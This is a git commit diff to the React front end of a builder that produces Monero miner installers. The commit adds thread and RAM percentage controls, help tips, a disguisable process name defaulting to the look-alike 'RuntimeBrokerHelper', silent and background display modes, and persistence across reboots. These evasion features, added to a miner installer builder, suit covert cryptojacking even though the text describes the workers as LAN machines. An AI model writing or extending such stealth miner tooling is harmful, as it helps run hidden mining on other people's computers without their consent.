Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
drjones
2026-05-26 23:26:39 -07:00
parent 6241dfd556
commit f7d6dcf542
24 changed files with 960 additions and 191 deletions

View File

@@ -1,25 +1,34 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const d = config.default_agent_config;
return {
worker_name: '',
server_url: serverInfo.suggested_url,
wallet: config.wallet.address,
threads: config.default_agent_config.threads,
cpu_priority: config.default_agent_config.cpu_priority,
mining_mode: config.default_agent_config.mining_mode,
threads: d.threads,
thread_mode: d.thread_mode || 'percent',
thread_percent: d.thread_percent || 75,
cpu_priority: d.cpu_priority,
mining_mode: d.mining_mode,
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
silent_mode: config.background.silent_mode,
run_as: config.background.run_as,
auto_start: config.background.auto_start,
max_cpu_usage_pct: config.default_agent_config.max_cpu_usage_pct,
min_free_ram_mb: config.default_agent_config.min_free_ram_mb,
idle_threshold_pct: config.default_agent_config.idle_threshold_pct,
idle_duration_minutes: config.default_agent_config.idle_duration_minutes,
schedule_start: config.default_agent_config.schedule_start,
schedule_end: config.default_agent_config.schedule_end,
persistence: config.background.auto_start,
process_name: d.process_name || '',
max_cpu_usage_pct: d.max_cpu_usage_pct,
max_memory_percent: d.max_memory_percent || 70,
min_free_ram_mb: d.min_free_ram_mb,
idle_threshold_pct: d.idle_threshold_pct,
idle_duration_minutes: d.idle_duration_minutes,
schedule_start: d.schedule_start,
schedule_end: d.schedule_end,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
@@ -112,7 +121,19 @@ export default function BuilderPage() {
</button>
</div>
<div className="builder-layout">
<div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel">
<h2>Setup Cheat Sheet</h2>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
<h4>{item.title}</h4>
<p>{item.body}</p>
</div>
))}
</div>
</div>
<div className="card builder-form">
<h2>Build Miner Installer</h2>
<p className="form-description">
@@ -124,7 +145,7 @@ export default function BuilderPage() {
<div className="form-section">
<h3>Identity</h3>
<div className="form-group">
<label className="label">Worker Name</label>
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<input
type="text"
className="input"
@@ -135,18 +156,18 @@ export default function BuilderPage() {
/>
</div>
<div className="form-group">
<label className="label">Server URL</label>
<label className="label">Server URL <HelpTip field="server_url" /></label>
<input
type="text"
className="input"
className="input mono"
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
required
/>
<span className="form-hint">Your control server on the LAN workers use this to reach the dashboard ({form.server_url})</span>
<FieldHint field="server_url" />
</div>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
type="text"
className="input mono"
@@ -205,26 +226,33 @@ export default function BuilderPage() {
</div>
<div className="form-section">
<h3>Performance</h3>
<h3>Performance & Resources</h3>
<div className="form-row">
<div className="form-group">
<label className="label">Threads</label>
<input
type="number"
className="input"
min={1}
max={128}
value={form.threads}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)}
/>
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
<option value="percent">Auto (% of CPU cores)</option>
<option value="fixed">Fixed thread count</option>
</select>
<FieldHint field="thread_mode" />
</div>
<div className="form-group">
<label className="label">CPU Priority</label>
<select
className="select"
value={form.cpu_priority}
onChange={(e) => updateField('cpu_priority', e.target.value)}
>
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
disabled={form.thread_mode === 'fixed'}
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
<input type="number" className="input" min={1} max={128} value={form.threads}
disabled={form.thread_mode !== 'fixed'}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
</div>
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
@@ -235,29 +263,24 @@ export default function BuilderPage() {
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={form.max_cpu_usage_pct}
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB)</label>
<input
type="number"
className="input"
min={256}
value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
<FieldHint field="max_memory_percent" />
</div>
</div>
<div className="form-group">
<label className="label">Mining Mode</label>
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select
className="select"
value={form.mining_mode}
@@ -315,20 +338,33 @@ export default function BuilderPage() {
</div>
<div className="form-section">
<h3>Deployment</h3>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.silent_mode}
onChange={(e) => updateField('silent_mode', e.target.checked)}
/>
<span>Silent / Background Mode (no console window)</span>
</label>
<h3>Install & Process</h3>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
value={form.process_name}
onChange={(e) => updateField('process_name', e.target.value)} />
<FieldHint field="process_name" />
</div>
<div className="form-group">
<label className="label">Run As</label>
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
<option value="visible">Visible (console window)</option>
<option value="silent">Silent (no window)</option>
<option value="background">Background (silent + low priority)</option>
</select>
<FieldHint field="display_mode" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.persistence}
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
<span>Persist after reboot <HelpTip field="persistence" /></span>
</label>
<FieldHint field="persistence" />
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
<select
className="select"
value={form.run_as}
@@ -341,13 +377,9 @@ export default function BuilderPage() {
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.auto_start}
onChange={(e) => updateField('auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
<input type="checkbox" className="checkbox" checked={form.auto_start}
onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
<span>Also register startup entry (same as persistence)</span>
</label>
</div>
</div>